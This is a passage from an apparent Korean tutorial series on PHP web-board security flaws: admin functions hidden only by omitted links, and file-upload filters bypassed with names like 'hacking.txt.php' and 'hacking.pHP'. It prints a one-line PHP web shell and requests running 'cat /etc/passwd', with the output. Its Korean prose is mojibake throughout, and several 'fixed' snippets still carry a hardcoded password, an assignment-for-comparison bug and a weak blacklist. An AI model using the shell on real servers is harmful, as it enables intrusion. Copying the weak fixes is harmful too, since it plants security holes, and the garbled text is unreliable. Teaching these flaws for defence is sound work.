¹ßÀü¿¡´Â WWW °¡ ÀÖ¾ú°í WWW ÀÇ ´ëºÎºÐ¿¡ CGI °¡ »ç¿ëµÇ±â ¶§¹®ÀÌ´Ù.
(CGI °³¹ßÀÚµéÀÌ CGI °³¹ßÀ» Àß ¸øÇß´Ù´Â À̾߱Ⱑ ¾Æ´Ï¶ó ¿ö³« ¸¹Àº ¾çÀÇ CGI
°¡ À־ ¸¹Àº BUG °¡ ¹ß°ß µÉ ¼ö ¹Û¿¡ ¾ø´Ù´Â À̾߱âÀÌ´Ù.)

À̹øÀÇ BUG ´Â BUG ¶ó±âº¸´Ù´Â °³¹ßÀÚÀÇ ´Ü¼øÇÑ ½Ç¼ö·Î ÀÎÇÑ °ÍÀ̶ó°í º¸´Â °ÍÀÌ ´õ
Á¤È®ÇÒ µí ÇÏ´Ù.

À̹ø¿¡´Â °øÁö»çÇ×À» ¿¹·Î µé¾î¼­ ¼³¸íÀ» ÇÏ°Ú´Ù. °øÁö»çÇ×Àº Admin ¸¸ ¿Ã¸± ¼ö
ÀÖ´Â Board °°Àº °ÍÀÔ´Ï´Ù.

±×·¯¸é ÀÏ¹Ý »ç¿ëÀÚ°¡ ±ÛÀ» ¾µ¼ö ÀÖÁö ¸øÇϵµ·Ï ÇÁ·Î±×·¡¹ÖÀ» ÇØ¾ß ÇÑ´Ù.
ÇÏÁö¸¸ ¾î¶² Web CGI ¿¡¼­´Â ¾ÆÁÖ ÀÌ»óÇÑ ¹æ¹ýÀ¸·Î »ç¿ëÀÚ°¡ ±ÛÀ» ¾µ¼ö ¾øµµ·Ï
Çϱ⵵ ÇÑ´Ù.

board.php

1 <?
2
3 echo "
4 <html>
5 <head>
6 <title>°Ô½ÃÆÇ Menu</title>
7 </head>
8 <body>
9 ";
10
11 include "list_board.php";
12
13 echo "<br><br>";
14
15 echo "<a href=list.php>°Ô½Ã¹° ¸®½ºÆ®</a><br>";
16 echo "<a href=next.php>´ÙÀ½ ±Û</a><br>";
17 echo "<a href=pre.php>ÀÌÀü ±Û</a><br>";
18
19 if($adminpw="123456")
20 {
21 echo "<a href=writeform.html>°øÁö»çÇ×¾²±â</a><br>";
22 echo "<a href=delete.html>±Û »èÁ¦Çϱâ</a><br>";
23 echo "<a href=modify.html>±Û ¼öÁ¤Çϱâ</a><br>";
24 }
25 echo "
26 </body>
27 </html>
28
29 ?>

11 ¹ø° ÁÙ¿¡¼­ list_board.php ¸¦ include Çϴµ¥ list_board.php ÀÇ ±â´ÉÀº
°øÁö»çÇ×ÀÇ °Ô½Ã¹°À» Ãâ·ÂÇØÁÖ´Â Script ÀÌ´Ù. list_board.php ´Â ¼³¸íÇÏ·Á´Â
Ãë¾à¼ºÀÌ ¾Æ´Ï¹Ç·Î ¼Ò½º ÷ºÎ¸¦ ÇÏÁö ¾Ê°Ú´Ù. °Ô½Ã¹°ÀÇ ¸®½ºÆ®¸¦ º¸¿©ÁÖ°í
15~17 ¿¡¼­´Â ÀϹÝÀûÀÎ °Ô½ÃÆÇ ¸Þ´ºµéÀ» º¸¿©ÁØ´Ù.

±×¸®°í ¸¸¾à board.php ¸¦ ¿äûÇÏ¿´À»¶§ º¯¼ö $adminpw °¡ ÀÖ°í, ±× °ªÀÌ
123456 À̶ó¸é ÀÌ »ç¿ëÀÚ´Â Admin À¸·Î ÀνÄÇÏ¿© Admin ¸Þ´ºµéµµ »Ñ·ÁÁØ´Ù.
21~23 ¿¡¼­ ¾²±â, »èÁ¦, ¼öÁ¤ ¸Þ´ºµéÀ» º¸¿©ÁØ´Ù.

¸ðµÎ ´Ù °°Àº ¿ø¸®À̹ǷΠ¿©±â¼­´Â ¾²±â¸¸À» ¿¹·Î µé¾î¼­ ¼³¸íÇÏ°Ú´Ù.

writeform.html

<html>
<head>
<title>ÀÌ page ´Â °øÁö»çÇ× write form ÀÌ´Ù.</title>
</head>
<body>
<form action=write_ok.php method=post>
Á¦¸ñ : <input type=text name=subject><br>
º»¹® : <input type=text name=comment><br>
ºñ¹Ð¹øÈ£ : <input type=password name=pass><br>
<input type=submit value=±Û¾²±â>
</form>
</body>
</html>

À§¿Í °°Àº write form À» ÀÌ¿ëÇÏ¿© ¿ì¸®´Â °øÁö»çÇ×À» ¿Ã¸± ¼ö ÀÖÀ» °ÍÀÌ´Ù.

ÇÏÁö¸¸ writeform.html À» º¸´Ù½ÃÇÇ writeform.html ÀÚü¿¡¼­´Â ÀÌ »ç¶÷ÀÌ
admin ÀÎÁö ¾Æ´ÑÁö È®ÀÎÇÏ´Â ¾Ë°í¸®ÁòÀÌ ¾ø´Ù. (write_ok.php ¿¡¼­µµ Admin
ÀÎÁö È®ÀÎÇÏ´Â ¾Ë°í¸®ÁòÀÌ ¾ø´Ù°í °¡Á¤ÇÑ´Ù.) ±×·¡¼­ ¸¸¾à Cracker °¡
board.php ¿¡¼­ $adminpw ¿Í ±×¿¡ ¸Â´Â °ªÀ» °¡Áö°í ¿äûÀ» ÇÏÁö ¾Ê¾Æµµ,
writeform.html ÀÇ url ¸¸ ¾Ë°í ÀÖÀ¸¸é °øÁö»çÇ×À» ¾µ ¼ö ÀÖ´Ù´Â À̾߱âÀÌ´Ù.

ÀÌ·± Bug µµ ÀÏÁ¾ÀÇ Security Hole À̶ó°í ÇÒ ¼ö ÀÖ´Ù. ÀÌ·± ·ùÀÇ Ãë¾àÁ¡Àº
ºñ½ÁÇÑ »óȲ¿¡¼­ ¿©·¯ Á¾·ùÀÇ Ãë¾àÁ¡À¸·Î ¹ß°ßµÈ´Ù. ¿¹¸¦ µé¸é Web Board
¿¡¼­ File Upload ½Ã¿¡ <input type=file> ¸¸ Ãâ·ÂÇÏÁö ¾Ê¾Æ¼­ ÀÚ·á½Ç ±â´ÉÀÌ
¾ø´Â °Íó·³ ¸¸µé¾î ³õ¾ÒÁö¸¸, ½ÇÁ¦·Î´Â ÀÚ·á½Ç ±â´ÉÀÌ ¾ø´Â °ÍÀÌ ¾Æ´Ï¶ó
´Ü¼øÇÏ°Ô <input type=file> ¸¸ Ãâ·ÂÇÏÁö ¾Ê´Â °ÍÀÌ´Ù.

sample.php

<?

echo "
<html>
<head>
<title>write form!</title>
</head>
<body>
<form action=write_ok.php method=post ENCTYPE=\"multipart/form-data\">
Á¦¸ñ : <input type=text name=subject><br>
º»¹® : <input type=text name=comment><br>
";

$fp=fopen("conf.txt", "r");

$test=fgets($fp, 2);

if($test==1)
echo "
<input type=file name=infile><br>";

echo "
<input type=submit value=±Û¾²±â><br>
</form>
</body>
</html>
";

?>

ÀÌ·± ½ÄÀ¸·Î conf.txt file ¿¡¼­ µ¥ÀÌÅ͸¦ ÀÐÀº ÈÄ ±× °ªÀÌ ¸¸¾à 1 À̶ó¸é
File upload ±â´ÉÀ» »ç¿ëÇÑ´Ù°í º¸°í <input type=file> À» Ãâ·ÂÇÏ¿© ÁÖ´Â °Í
Àε¥, ¸¸¾à Cracker °¡ html À» ¼öÁ¤ÇÏ¿© ÀÓÀÇ·Î

<input type=file name=infile>

¸¦ Ãß°¡ÇÑ´Ù¸é Cracker ´Â ÀڷḦ ¿Ã¸± ¼ö ÀÖ°Ô µÉ °ÍÀÌ´Ù. (´Ü write_ok.php
¿¡¼­ º°´Ù¸¥ ÀÎÁõÀ» °ÅÄ¡Áö ¾Ê´Â´Ù´Â °¡Á¤ÇÏÀÓ)

ÇѶ§ ÀÌ·± ¹ö±×¸¦ ÀÌ¿ëÇÏ¿© ¾ÇÀÇÀûÀÎ Script ¸¦ ¿Ã¸° ÈÄ Shell À» ȹµæÇÏ´Â
¹æ¹ýÀÌ À¯ÇàÇϱ⵵ ÇÏ¿´´Ù. ÀÌ °ÍÀº ¿ì½À°Ô º¸¾Æ¼­´Â ¾ÈµÉ ºÎºÐÀÌ¸ç °³¹ßÀÚ°¡
»ý°¢ÇÏ´Â °Í ÀÌ»óÀ¸·Î Server ¿¡ ÇÇÇظ¦ ¹ÌÄ¥¼öµµ ÀÖ´Ù.

ÇØ°áÃ¥À» ¾Ë¾Æº¸ÀÚ.

°³¹ßÀÚ°¡ °³¹ßÀ» Çϰųª Patch ¸¦ ÇÒ¶§ ¾Ë¾ÆµÖ¾ß ÇÒ »çÇ×ÀÌ ÀÖ´Ù. Cracker °¡
Source ¸¦ ´Ù º¼¼ö Àִ ȯ°æÀ̾ hacking À» ´çÇؼ± ¾ÈµÇ´Â °ÍÀ» ¸¸µé¾î¾ß
ÇÑ´Ù.

ÀÌ ¸»Àº ¿Ïº®ÇÑ CGI ¸¦ ¸¸µé¶ó´Â °ÍÀÌ ¾Æ´Ï¶ó, Á¤¼®ÀÇ ¾Ë°í¸®ÁòÀ» »ç¿ëÇÏÁö
¾Ê°í Æí¹ýÀ» ÀÌ¿ëÇÏ¿© ´Ü¼øÈ÷ ´«¼ÓÀÓÀ» ÇÏ´Â ¹æ¹ýÀ» »ç¿ëÇÏÁö ¸»¶ó´Â À̾߱âÀÌ´Ù.

board.php ¿Í °°Àº °æ¿ì¿¡´Â Ưº°È÷ ¼öÁ¤ÇÏÁö ¸»°í writeform.html ¿¡¼­ action
script ÀÎ write_ok.php ¸¦ ¼öÁ¤ÇÏ´Â °ÍÀÌ °¡Àå ÁÁÀº ¹æ¹ýÀÌ´Ù.

write_ok.php ÀÇ ¸Ç ¾Õ¿¡ ´ÙÀ½°ú °°Àº ÀÎÁõÀ» ÇÑ´Ù. ¸¸¾à $pass ¿Í ±× °ªÀÌ
123456 ÀÌ ¾Æ´Ï¶ó¸é Admin ÀÌ ¾Æ´Ñ »ç¿ëÀÚ°¡ ±ÛÀ» ¾²·Á´Â °ÍÀ¸·Î ÀνÄÇÏ¿© script
¸¦ ÁßÁö½ÃŲ´Ù.

if($pass!="123456")
{
echo "ÀÔ·ÂÇϽŠ¾ÏÈ£´Â Á¤È®ÇÏÁö ¾Ê½À´Ï´Ù.<br>";
echo "°øÁö»çÇ×À» ¿Ã¸® ½Ç ¼ö ¾ø½À´Ï´Ù.";
exit;
}

sample.php ¿¡¼­ÀÇ write_ok.php ¿¡¼­´Â ¾à°£ ´Ù¸£°Ô ó¸®ÇÏ¸é µÉ °ÍÀÌ´Ù.
write_ok.php ¿¡¼­

$fp=fopen("conf.txt", "r");

$test=fgets($fp, 2);

if($test==1) {
copy($infile, "data/$infile_name");
chmod("data/$infile_name", 0444);
}

ÀÌ·±½ÄÀ¸·Î file À» ½ÇÁúÀûÀ¸·Î Server ·Î Copy ÇÏ´Â copy ÇÔ¼ö¸¦ »ç¿ëÇϱâ Àü¿¡
conf.txt file À» Àоî¿Í ¼³Á¤°ªÀÌ 1 ·Î µÇ¾îÀÖ´ÂÁö È®ÀÎÇÏ°í 1 ÀÌ ¾Æ´Ï¶ó¸é
file À» copy ÇÏÁö ¾Ê´Â´Ù.



/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
4) file upload ¾Ë°í¸®Áò ½ÃÀÇ ÁÖÀÇÇÒÁ¡ -1-

À̹ø¿¡ ´Ù·ê ¿¬¼ÓÀûÀÎ ÁÖÁ¦´Â ±âÁ¸ÀÇ Web Board ¿¡¼­ ÀÚÁÖ ¹ß°ßµÈ ¹ö±×ÀÌ´Ù.
ÀÌ º¸¾È ÇÁ·Î±×·¥¿¡¼­ ´Ù·ç´Â ³»¿ëÀÌ À¯³­È÷ Web Board ³»¿ëÀÌ ¸¹Àºµ¥ ±×°ÍÀº
Web ¿¡¼­ Board ÀÇ ºñÀ²ÀÌ ±²ÀåÈ÷ ³ôÀº ºñÁßÀ» Â÷ÁöÇÏ°í ÀÖÀ¸¸ç, Web Board
¿¡¼­ ³ª¿Â ´ëºÎºÐÀÇ Security Hole Àº ´Ù¸¥ CGI ¿¡¼­µµ µå·¯³ª´Â Çö»óµéÀ̱â
¶§¹®ÀÌ´Ù.

ù¹ø° ´Ù·ê ÁÖÁ¦´Â Board ¿¡ file upload ÇÒ¶§ ÀϾ ¼ö ÀÖ´Â ¹®Á¦Á¡ ÁßÀÇ
ÇϳªÀÌ´Ù. php ÇÁ·Î±×·¡¹Ö¿¡¼­´Â »ç¿ëÀÚ°¡ file À» ¿Ã¸®·Á ÇÒ¶§ php ¿Í °°Àº
È®ÀåÀÚ¸¦ °®´Â file À» ¿Ã¸®´Â °ÍÀ» ¸·¾Æ¾ß ÇÑ´Ù. ÀÌÀ¯´Â »ç¿ëÀÚ°¡ Server ¿¡
php file À» ¿Ã¸± ¼ö ÀÖ´Ù¸é ¼­¹ö¿¡¼­ shell À» ½ÇÇàÇÒ ¼ö Àֱ⠶§¹®ÀÌ´Ù.

¿¹¸¦ µéÀÚ¸é ´ÙÀ½°ú °°Àº script ¸¦ Server ¿¡ Upload Çß´Ù°í ÇÏÀÚ.

hacking.php

<?
passthru($beist);
?>

cracker ´Â ´ÙÀ½°ú °°Àº ¹æ¹ýÀ¸·Î System ¿¡¼­ Command ¸¦ Execute ÇÒ ¼öÀÖ´Ù.

[¿äû]
http://server/hacking.php?beist=cat /etc/passwd

[°á°ú]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

cracker ´Â Server ÀÇ passwd file À» ÀÐÀ» ¼ö ÀÖ´Ù. (¹°·Ð ´õ ħÀÔÀ» ½Ãµµ
ÇÏ¿´´Ù¸é System ÀÇ Root °¡ µÇ´Â °Íµµ ½±°Ô °¡´ÉÇÏ¿´À» °ÍÀÌ´Ù.)

¿¹Àü¿¡ ¾î¶² CGI ¿¡¼­ ´ÙÀ½°ú °°Àº ¹æ¹ýÀ¸·Î php ¾÷·Îµå¸¦ ¸·À¸·Á ÇÏ¿´´Ù.
ÇÏÁö¸¸, ¿Ïº®ÇÑ º¸¾ÈÀº ¾ø´Â¹ý. À̸¦ ±ú´Â ¹æ¹ýµµ ÀÖ´Ù.

write_ok.php

1 <?
2
3 /* ÀýÂ÷ »ý·« */
4
5 $check=explode( ".", $in_file_name);
6
7 if($check[1]!="txt")
8 {
9 echo "Á˼ÛÇÕ´Ï´Ù. È®ÀåÀÚ°¡ txt °¡ ¾Æ´Ï¶ó¸é ÀڷḦ ¿Ã¸®½Ç ¼ö ¾ø½À´Ï´Ù.";
10 exit;
11 }
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "µ¿ÀÏÇÑ ÆÄÀÏÀ̸§ÀÌ ÀÌ¹Ì Á¸ÀçÇÕ´Ï´Ù. ´Ù¸¥ ÆÄÀϸíÀ¸·Î ¿Ã·ÁÁÖ¼¼¿ä.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "Á˼ÛÇÕ´Ï´Ù. ÆÄÀÏ ÀúÀåÀ» ½ÇÆÐÇÏ¿´½À´Ï´Ù. ´Ù½Ã ½ÃµµÇØÁÖ¼¼¿ä.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* ÀýÂ÷ »ý·« */
31
32 ?>

/* ÀÌÇظ¦ ½±°Ô Çϱâ À§ÇÏ¿© ¼Ò½ºÀÇ ¸Ç ¾Õ¿¡ line number ¸¦ ºÙ¿´´Ù.
write_ok.php ·Î °ªÀÌ ³Ñ¾î°¥¶§ file ÀÇ º¯¼ö°ªÀº $in_file ÀÌ´Ù. µÚ¿¡
apache, php ·Î µ¹¾Æ°¡°í ÀÖ´Â ¼­¹öÀ϶§ »ç¿ëÀÚÀÇ FILE FORM º¯¼ö°¡
in_file À̶ó¸é ³Ñ¾î¿Ã¶§ $in_file_name, $in_file_size ¿Í °°ÀÌ ÀÚµ¿ÀûÀ¸·Î
º¯¼ö°¡ ºÙ°Ô µÈ´Ù. $in_file_name Àº »ç¿ëÀÚ°¡ ¿Ã¸° file À̸§À» ¸»ÇÑ´Ù.
5 ¹ø° ¶óÀο¡¼­ $in_file_name À» . À» ±âÁØÀ¸·Î $check ¿¡ ¹è¿­Çü½ÄÀ¸·Î
´ã´Â´Ù. ¿¹¸¦ µé¾î ÀÌ ¹®¹ýÀº, test.php ¶ó´Â file À» »ç¿ëÀÚ°¡ ¿Ã·È´Ù¸é
$check[0] ¿¡´Â test °¡, $check[1] ¿¡´Â php °¡ ´ã±â°Ô µÈ´Ù.
7 ¹ø° ÁÙ¿¡¼­ $check[1] ÀÇ È®ÀåÀÚ°¡ txt °¡ ¾Æ´Ï¶ó¸é ¸ðµÎ À߸øµÈ
file ·Î °£ÁÖÇÏ°í ½ºÅ©¸³Æ® ½ÇÇàÀ» ÁßÁö½ÃÄÑ ¹ö¸°´Ù.
¸¸¾à Á¤»óÀûÀÎ file À̶ó¸é ±× ´ÙÀ½ ½ºÅ©¸³Æ®¸¦ ÁøÇàÇÏ¿© file Àº ¾Æ¸¶µµ
¿Ã¹Ù¸£°Ô ÀúÀåÀÌ µÉ °ÍÀÌ´Ù. */

ÇÏÁö¸¸ ÀÌ ¹æ¹ý¿¡µµ Ãë¾àÁ¡ÀÌ Á¸ÀçÇÑ´Ù. ºÐ¸íÈ÷ explode ¸¦ ÀÌ¿ëÇÏ¿© ¹è¿­À»
³ª´©±ä ÇÏÁö¸¸ $check[1] ¿¡¸¸ txt °¡ ´ã±â°Ô Çϸé ÀÎÁõÀ» ¹«»çÈ÷ Åë°úÇÒ ¼ö
ÀÖÀ» °ÍÀÌ´Ù. ±×·¡¼­ filename À» hacking.txt.php ¶ó°í ¿Ã¸°´Ù´Ù¸é $check[1]
¿¡´Â txt °¡ ´ã±â°Ô µÉ°ÍÀÌ°í °á°úÀûÀ¸·Î php ÆÄÀÏÀº ¿Ã¶ó°¡°Ô µÉ°ÍÀÌ´Ù.

[¿äû]
http://server/data/hacking.txt.php?beist=cat /etc/passwd

[°á°ú]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

php3, html, shtml ¿Í °°ÀÌ php ½ºÅ©¸³Æ®¸¦ µ¹¸±¼ö ÀÖ´Â È®ÀåÀÚµµ ´õ ÀÖÁö¸¸
¿©±â¼­´Â ¼³¸íÀ» À§ÇØ php È®ÀåÀÚ ´Ü Çϳª¸¸ÀÌ ½ºÅ©¸³Æ®¸¦ µ¹¸± ¼ö ÀÖ´Ù´Â
°¡Á¤ÇÏ¿¡ ¼³¸íÇÏ¿´´Ù.

ÇØ°á ¹æ¹ýÀ» ¾Ë¾Æº¸ÀÚ.

¿©±â¼­ÀÇ ¹®Á¦Á¡Àº file name ¿¡¼­ . À¸·Î ³ª´³À»¶§ÀÇ ±âÁØÀ¸·Î ù¹ø°
¹è¿­¸¸ °Ë»ç¸¦ ÇÑ´Ù´Â Á¡ÀÌ´Ù. (0 ºÎÅÍ ½ÃÀÛÇÑ´Ù.) ÀÌ¿¡ ´ëÇÑ º¸¿ÏÁ¡À¸·Î
file name ¿¡¼­ . À¸·Î ³ª´©¾úÀ»¶§ ¸Ç ¸¶Áö¸·¿¡ À§Ä¡ÇÑ ¹è¿­À» °Ë»çÇؾßÇÑ´Ù.
¿Ã¹Ù¸£°Ô °»½ÅµÈ ¼Ò½º¸¦ »ìÆ캸ÀÚ.

write_ok2.php

1 <?
2
3 /* ÀýÂ÷ »ý·« */
4
5 $check=explode( ".", $in_file_name);
6 $point=count($check)-1;
7 if($check[$point]!="txt")
8 {
9 echo "Á˼ÛÇÕ´Ï´Ù. È®ÀåÀÚ°¡ txt °¡ ¾Æ´Ï¶ó¸é ÀڷḦ ¿Ã¸®½Ç ¼ö ¾ø½À´Ï´Ù.";
10 exit;
11 }
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "µ¿ÀÏÇÑ ÆÄÀÏÀ̸§ÀÌ ÀÌ¹Ì Á¸ÀçÇÕ´Ï´Ù. ´Ù¸¥ ÆÄÀϸíÀ¸·Î ¿Ã·ÁÁÖ¼¼¿ä.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "Á˼ÛÇÕ´Ï´Ù. ÆÄÀÏ ÀúÀåÀ» ½ÇÆÐÇÏ¿´½À´Ï´Ù. ´Ù½Ã ½ÃµµÇØÁÖ¼¼¿ä.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* ÀýÂ÷ »ý·« */
31
32 ?>

Ãß°¡µÈ ºÎºÐÀº 6 ¹ø° ¶óÀÎÀÌ´Ù. $check ¹è¿­À» count ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© ¸î°³ÀÇ
¹è¿­ÀÌ ÀÖ´ÂÁö ¾Ë¾Æº¸¾Ò°í ±× $point ¿¡ ´ã¾Æ³õ¾Ò´Ù. 7 ¹ø° ÁÙ¿¡¼­ °Ë»ç¸¦ ÇÒ¶§
$point ¸¦ ÁÖ¾î ¸Ç ¸¶Áö¸· ¹è¿­À» °Ë»çÇϵµ·Ï ÇÏ¿´´Ù.

°á±¹ cracker °¡ hacking.txt.php ¸¦ ¿Ã·Áµµ txt °¡ ´ã±ä ¹è¿­ÀÌ ¾Æ´Ñ php °¡
´ã±ä ¹è¿­À» °Ë»çÇÔÀ¸·Î½á ¾ÇÀÇÀûÀÎ ¸ñÀûÀ» °¡Áø script ÀÇ upload ¸¦ ¸·À» ¼ö°¡
ÀÖ´Ù.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
5) file upload ¾Ë°í¸®Áò ½ÃÀÇ ÁÖÀÇÇÒÁ¡ -2-

À̹ø¿¡ ´Ù·ê ÁÖÁ¦ ¿ª½Ã Web Board »ó¿¡¼­ File Upload ¾Ë°í¸®Áò Ãë¾à¼º¿¡ °ü·ÃµÇ
¾ú´Ù. 4 ¹ø Àå¿¡¼­ ¼³¸íÇÑ¹Ù¿Í °°ÀÌ php ÇÁ·Î±×·¡¹Ö¿¡¼­´Â »ç¿ëÀÚ°¡ php °ü·ÃÆÄÀÏÀ»
¿Ã¸± ¼ö ¾øµµ·Ï ¸·¾Æ¾ß ÇÑ´Ù. ¿Ö³ÄÇÏ¸é ¾ÇÀÇÀûÀÎ php ½ºÅ©¸³Æ®¸¦ ¸¸µé¾î server ÀÇ
shell À» ¾òÀ»¼öµµ Àֱ⠶§¹®ÀÌ´Ù. ¸¸¾à cracker °¡ shell À» ¾ò´Â´Ù¸é ±×°ÍÀº
cracker ¿¡°Ô À־ Web Hacking ÀÇ ÃÖÁ¾ ¸ñÀû±îÁö °¡°Ô ¸¸µç °ÍÀÌ´Ù.

write_ok3.php

1 <?
2
3 /* ÀýÂ÷ »ý·« */
4
5 if(ereg("php", $in_file_name))
6 {
7 echo "Àå³­ÇÏ´Ï?.. file À̸§¿¡ php °¡ µé¾îÀÖÀ¸¸é ¾ÈµË´Ï´Ù.";
8 exit;
9 }
10
11
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "µ¿ÀÏÇÑ ÆÄÀÏÀ̸§ÀÌ ÀÌ¹Ì Á¸ÀçÇÕ´Ï´Ù. ´Ù¸¥ ÆÄÀϸíÀ¸·Î ¿Ã·ÁÁÖ¼¼¿ä.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "Á˼ÛÇÕ´Ï´Ù. ÆÄÀÏ ÀúÀåÀ» ½ÇÆÐÇÏ¿´½À´Ï´Ù. ´Ù½Ã ½ÃµµÇØÁÖ¼¼¿ä.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* ÀýÂ÷ »ý·« */
31
32 ?>

/* Áß¿ä Ãë¾àÁ¡ÀÌ µÇ´Â ºÎºÐ¸¸ ¼³¸íÇϱâ À§ÇØ ºÒÇÊ¿äÇÑ ºÎºÐÀº »ý·«ÇÏ¿´´Ù.
5 ¹ø° ÁÙ¿¡¼­ »ç¿ëÀÚ°¡ º¸³»¿Â file name Áß php ¶ó´Â ¹®ÀÚ¿­ÀÌ ÀÖÀ¸¸é
°É·¯³»±â À§ÇØ ereg ¶ó´Â ÇÔ¼ö¸¦ »ç¿ëÇÏ¿´´Ù. */

À̹ø¿¡ ¾²ÀÎ php ÆÄÀÏ upload ¸·±â ¾Ë°í¸®ÁòÀº »ç¿ëÀÚ°¡ º¸³»¿Â file name ¿¡
¸¸¾à php ¶ó´Â ¹®ÀÚ¿­ÀÌ Á¸ÀçÇÑ´Ù¸é php ½ºÅ©¸³Æ®·Î ¾Ë°í ¹«Á¶°Ç script ½ÇÇàÀ»
Ãë¼ÒÇÏ´Â °ÍÀÌ´Ù. ÀÌ ¹æ¹ý¿¡´Â security hole ¸»°íµµ ´ÜÁ¡ÀÌ ÀÖ´Ù. ¿¹¸¦ µé¾î
»ç¿ëÀÚ°¡ php.txt ¶ó´Â file À» ¿Ã¸±¶§µµ ¾ÇÀÇÀûÀÎ script ·Î °£ÁÖÇÏ¿© upload ¸¦
Çã¿ëÇÏÁö ¾Ê±â ¶§¹®ÀÌ´Ù.

±×·¸´Ù¸é ÀÌ ¾Ë°í¸®Áò¿¡ ´ëÇÑ security hole À» ¾Ë¾Æº¸ÀÚ.

ereg ´Â ÁöÁ¤ÇÑ String ¿¡¼­ ƯÁ¤ ´Ü¾î³ª ȤÀº ¹®ÀÚ°¡ Æ÷ÇԵǾî ÀÖ´ÂÁö ¾Ë¾Æº¼
¼ö ÀÖ°Ô ÇÏ´Â ÇÔ¼öÀÌ´Ù. ÇÏÁö¸¸ ereg ´Â ¼Ò¹®ÀÚ¸¸ °Ë»çÇÒ»ÓÀÌÁö ´ë¹®ÀÚ¸¦ °Ë»çÇÏÁö´Â
¾Ê´Â´Ù.

¸¸¾à¿¡ cracker °¡ file name À» hacking.php °¡ ¾Æ´Ñ hacking.pHP ¶ó´Â ½ÄÀ¸·Î
µÚ¿¡ ´ë¹®ÀÚ·Î °íÄ£´Ù¸é ereg ÇÔ¼ö´Â ÀνÄÀ» ÇÏÁö ¸øÇÏ´Â °ÍÀÌ´Ù. hacking.pHP ¿¡
<? passthru($beist); ?> ¿Í °°Àº ¾ÇÀÇÀûÀÎ ±â´ÉÀ» ÇÒ¼öÀÖ´Â script ¸¦ Â¥¼­ ¼­¹ö¿¡
¿Ã¸°´Ù¸é cracker ´Â System Command Execute ÀÌ °¡´ÉÇØÁú °ÍÀÌ°í ÀÌ °ÍÀº cracker
¿¡°Ô À־ ±Ã±ØÀûÀÎ ¸ñÇ¥¿¡ ´Ù´ÞÀº °ÍÀÌ´Ù.

ÇØ°áÃ¥À» ¾Ë¾Æº¸ÀÚ.

ereg function Àº ¾ËÆĺªÀÇ ¼Ò¹®ÀÚ ¹Û¿¡ °Ë»ç¸¦ ÇÏÁö ¸øÇÑ´Ù. ±×·¡¼­ ´ë¹®ÀÚµµ
°°ÀÌ °Ë»ç¸¦ Çϱâ À§Çؼ­´Â eregi ¶ó´Â ÇÔ¼ö¸¦ »ç¿ëÇØ¾ß ÇÑ´Ù. eregi fucntion À»
»ç¿ëÇÏ¿© °Ë»ç¸¦ ÇÏ¸é ´ë, ¼Ò¹®ÀÚ¿¡ »ó°ü¾øÀÌ check ¸¦ ÇØÁֱ⠶§¹®¿¡ À§ÀÇ
hacking.pHP °°Àº ȸÇǹýÀ» ¸·À» ¼ö ÀÖ´Ù.

write_ok4.php

1 <?
2
3 /* ÀýÂ÷ »ý·« */
4
5 if(eregi("php", $in_file_name))
6 {
7 echo "Àå³­ÇÏ´Ï?.. file À̸§¿¡ php °¡ µé¾îÀÖÀ¸¸é ¾ÈµË´Ï´Ù.";
8 exit;
9 }
10
11
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "µ¿ÀÏÇÑ ÆÄÀÏÀ̸§ÀÌ ÀÌ¹Ì Á¸ÀçÇÕ´Ï´Ù. ´Ù¸¥ ÆÄÀϸíÀ¸·Î ¿Ã·ÁÁÖ¼¼¿ä.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "Á˼ÛÇÕ´Ï´Ù. ÆÄÀÏ ÀúÀåÀ» ½ÇÆÐÇÏ¿´½À´Ï´Ù. ´Ù½Ã ½ÃµµÇØÁÖ¼¼¿ä.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* ÀýÂ÷ »ý·« */
31
32 ?>

¼öÁ¤ÇÑ ºÎºÐÀº 5 ¹ø° ÁÙ¿¡¼­ ereg -> eregi ÀÌ´Ù. ÀÌ·±½ÄÀ¸·Î check ¸¦ ÇÔÀ¸·Î½á
cracking À» ¸·À» ¼ö ÀÖ´Ù.









/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
6) file upload ¾Ë°í¸®Áò ½ÃÀÇ ÁÖÀÇÇÒÁ¡ -3-

À̹ø¿¡´Â Web Board »ó¿¡¼­ File Upload ºÎºÐÀ» ó¸®ÇÒ¶§ Hacking Ãë¾à¼º
3 ¹ø°¸¦ ¾Ë¾Æº¸°Ú´Ù. Cracker °¡ Hacking À» ÇÒ¶§ °¡Àå ¸¹ÀÌ ÀÌ¿ëÇÏ´Â Ãë¾à¼ºÀº
¾î¶² °ÍÀϱî? ´Ü¿¬ Web Hacking ÀÌ´Ù. ±× Áß¿¡¼­µµ Board ÀÇ File Upload
